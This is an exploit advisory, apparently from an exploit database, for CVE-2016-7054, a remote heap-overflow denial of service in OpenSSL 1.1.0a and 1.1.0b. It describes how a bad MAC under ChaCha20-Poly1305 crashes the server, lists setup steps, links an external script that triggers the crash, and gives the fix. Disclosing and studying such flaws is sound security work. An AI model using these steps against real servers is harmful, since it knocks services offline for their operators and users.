# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability
# Date: 11-12-2016
# Software Link: https://www.openssl.org/source/old/1.1.0/
# Exploit Author: Silverfox
# Contact: http://twitter.com/___Silverfox___
# Website: https://www.silverf0x00.com/
# CVE: CVE-2016-7054
# Category: Denial of Service
# Type: Remote
# Platform: Multiple

1. Description
   
Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash.

https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
 
   
2. Proof of Concept
 
 a. Download and compile OpenSSL 1.1.0a or b
 b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg
 c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)
 d. OpenSSL Instance crashes causing DOS

### End of Exploit Code ###

3. Solution:
   
Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.
